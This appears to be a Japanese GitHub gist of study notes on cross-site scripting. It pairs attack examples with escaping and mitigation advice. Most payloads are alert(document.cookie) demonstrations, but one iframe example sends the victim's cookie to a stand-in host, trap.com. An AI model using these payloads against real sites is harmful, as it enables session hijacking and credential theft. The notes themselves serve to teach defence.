Skip to content

Instantly share code, notes, and snippets.

@motoyasu-saburi
Last active October 3, 2019 07:59
Show Gist options
  • Save motoyasu-saburi/10e3d8ee5d3629a31faa5d836ee9c876 to your computer and use it in GitHub Desktop.
Save motoyasu-saburi/10e3d8ee5d3629a31faa5d836ee9c876 to your computer and use it in GitHub Desktop.

XSS関連

セキュリティまとめ

https://gist.github.com/motoyasu-saburi/a05a435d1e0efd0a98ddd66275f7f5fb

iframeによる攻撃手法

  1. 罠サイトのiframe内で脆弱なサイトが表示される
  2. 脆弱なサイトはXSS攻撃により、クッキー値をQuery文字列につけて、情報収集ページに推移する
  3. 情報収集ページは受け取ったクッキー値をメールで攻撃者に送信する
<iframe src="http://example.jp/hoge.php?keyword=<script>window.location='http://trap.com/trap.php?sid='%2Bdocument.cookie;</script>"></iframe>

結果、下記が起動

<script>window.location='http://trap.com/trap.php?sid='+document.cooki;</script>

フォーム挿入による攻撃

ページ内にあるフォームをダブルクォートなどで終了させ、 悪意のあるformタグ(actionに罠サイトを設定)を表示させ、 クレジットカード番号などを入力させて送信させる方法などがある (この方式の場合公式サイトに罠が設置され、javascriptを使用しないことからユーザは見破ることが難しい)

いずれもHTML内でのメタ文字を正しく処理していないことが問題。 (「<」などを文章中で使う場合に「<」といった形式で表示しない場合など)

エスケープ方法
置かれている場所 説明 最低限のエスケープ内容
要素内容 ・タグと文字参照が解釈される
・「&lt;」で終端
「<」「&」を文字参照に
属性値(ダブルクォートで括られたもの) ・文字参照が解釈される
・ダブルクォートで終端
属性値を「"」で囲み、「<」「"」と「&」を文字参照に

引用符で囲まない属性値のXSS

<input type=text name=mail value=<?php echo $_GET['name']; ?>>

攻撃例
1+onmouseover%3dalert(document.cookie)

引用符で囲む属性値のXSS

<input type="text" name="mail" value="<?php echo $_GET['name']; >">

攻撃例
"+onmouseover%3d"alert(document.cookie)

上記は「+」がスペース、「%3d」が「=」で空白になる エスケープは以下の項目を守りつつ、下記の表でエスケープするとよい

  • 要素内容は「<」「>」「&」のエスケープ
  • 属性値はダブルクォートで囲む
変換前 変換後
< &lt;
> &gt;
& &amp;
" &quot;
' &#39;

レスポンスの文字エンコーディングを指定しておかないと XSSの原因になるので言語それぞれで対策をするとよい

XSSの万が一のための対策

  • 入力値の検証
  • クッキーにHttpOnly属性を付与
  • TRACEメソッドの無効化
    • (クロスサイト・�トレーシング対策)
    • Apacheなどで設定可能

URL形式のXSS

URLが外部から変更できる場合 以下のような形式に対し

<a href="<?php echo htmlspecialchars($_GET['url']); ?>">ブックマーク</a>  

攻撃例
http://example.jp/hoge.php?url=javascript:alert(document.cookie)

URLを生成する場合は以下のいずれかのみを許容するパターンがよい

  • http: または、 https:で始まる絶対URL
  • スラッシュ「/」で始まる相対URL

リンク先ドメインのチェック

  • リンク先が自明の場合は外部ドメインの場合エラーを出す
  • 外部ドメインのリンクであることを利用者に注意喚起するためのクッションページを出す

javascriptの動的生成に対するXSS

<body onload="init('<?php echo htmlspecialchars($_GET['name'], ENT_QUOTES) ?>')">  

例えば上記の場合、メタ文字をエスケープしているから良いようには見えるが、

name=');alert(document.cookie)// 

といったパターンでXSSが発生

javascript文字列リテラルとしてエスケープが必要

文字 エスケープ後
|\|
' \'
" \"
改行 \n

Dom based XSS

JSによりクライアント側で表示処理する箇所があり、そこに脆弱性がある場合のXSS 例えば http://hoge.com/index.html?name=Yamada で、Yamadaが動的表示される場合に name=<script>alert(document.cookie)</script> などする攻撃手法

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment